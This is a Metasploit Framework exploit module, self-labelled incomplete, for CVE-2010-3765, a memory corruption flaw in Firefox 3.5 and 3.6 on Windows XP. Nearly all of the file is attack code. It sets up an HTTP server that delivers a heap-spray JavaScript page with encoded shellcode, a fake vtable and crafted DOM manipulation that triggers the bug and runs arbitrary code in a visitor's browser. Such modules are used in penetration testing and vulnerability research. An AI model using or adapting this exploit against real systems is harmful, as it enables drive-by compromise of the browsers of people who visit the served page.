##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GoodRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.5",
		:ua_maxver => "3.7",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking, # reliable memory corruption
		:vuln_test => nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '[INCOMPLETE] Firefox 3.5, 3.6 Cached DOM Insertion Memory Corruption',
			'Description'    => %q{
					This module exploits a memory corruption vulnerability in the Mozilla
				Firefox browser.
				
				This flaw occurs when a bug in the DOM handling routines fails to take
				into account a pending insertion operation. When appending to text runs,
				an insertion is done and later converted into an append. By triggering several
				appends in a certain order, it's possible to cause Firefox to have a reference
				to a text run that is in an inconsistent state. Later, when this DOM object
				is manipulated, memory corruption can occur leading to arbitrary code
				execution.

				NOTE: This exploit currently works only against systems that have at least one
				gigabyte of memory available.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					# Found in the wild on nobelpeaceprize.org !!
					'jduck',
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2010-3765'],
					['OSVDB', '68905'],
					['BID', '44425'],
					['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html'],
					['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=60722']
				],
			'Payload'        =>
				{
					'Space'    => 1000 + (rand(256).to_i * 4),
					'BadChars' => "\x00",
				},
			'Targets'        =>
				[
					[ 'Firefox 3.5.0 on Windows XP SP0-SP3',
						{
							'Platform'   => 'win',
							'Arch'       => ARCH_X86,
							'Vtable'     => 0xfeedfed5,
							'Ret'        => 0xc0c0c0c0,
							'BlockLen'   => (1024*1024)/2,
							'Containers' => 850,
						}
					],
=begin
					[ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
							'Ret'  => 0x41414141,
							'BlockLen' => 496,
							'Containers' => 800000
						}
					]
=end
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 25 2010'
			))
	end


	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p)) # , { 'Content-Type' => 'text/html; charset=utf-8' })

		handler(cli)
	end

	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		enc_vtable = Rex::Text.to_unescape(
			Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target['Vtable']].pack('V') : [target['Vtable']].pack('N')
		)

		enc_ret  = Rex::Text.to_unescape(
			Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
		)

		str1 = rand_text_alphanumeric(4);
		str1 = "Z" * 4
		str2 = Rex::Text.to_unescape(rand_text_alphanumeric(8));
		str2 = Rex::Text.to_unescape("\x0d" * 8)
		str3 = Rex::Text.to_unescape(rand_text_alphanumeric(16));
		str3 = Rex::Text.to_unescape("\x0c" * 16)

		js = <<-EOF
var xunescape = unescape;
var shellcode = xunescape("#{enc_code}");

function make_obj(str) {
  var cobj = document.createElement(str);
  document.body.appendChild(cobj);
  return cobj;
}

function GenerateHTML() {
  str1 = xunescape("#{str1}");
  str2 = xunescape("#{str2}");
  str3 = xunescape("#{str3}");

  document.write(str1);

  obj1 = make_obj("a");
  obj1.scrollWidth;

  document.write("<a lang></a>" + str2);

  obj2 = make_obj("base");
  obj2.scrollWidth;

  document.write(str3);
  obj3 = make_obj("video");
}

var vtable = xunescape("#{enc_vtable}");
var oneblock = xunescape("#{enc_ret}");

while (oneblock.length < #{target['BlockLen']}) {
  oneblock += oneblock;
}
oneblock = oneblock.substring(0, #{target['BlockLen']});

var sprayContainer = new Array();
for (loop_int = 0; loop_int < #{target['Containers']}; loop_int++) {
  var numstr = loop_int.toString(16);
  while (numstr.length < 8) { numstr = '0' + numstr; }
  sprayContainer[loop_int] = vtable + oneblock.substr(4, #{target['BlockLen']} - 16) + numstr;
}

GenerateHTML();

// window.location.reload();

EOF

=begin
		# Obfuscate it up a bit
		js = obfuscate_js(js, 'Symbols' => {
			'Variables' => %W{ GenerateHTML xunescape shellcode oneblock sprayContainer make_obj cobj loop_int str1 str2 str3 obj1 obj2 obj3 vtable }
		}).to_s
=end

		return <<-EOS
<html>
<body>
<script type="text/javascript">
#{js}
</script>
</body>
</html>
EOS

	end

end
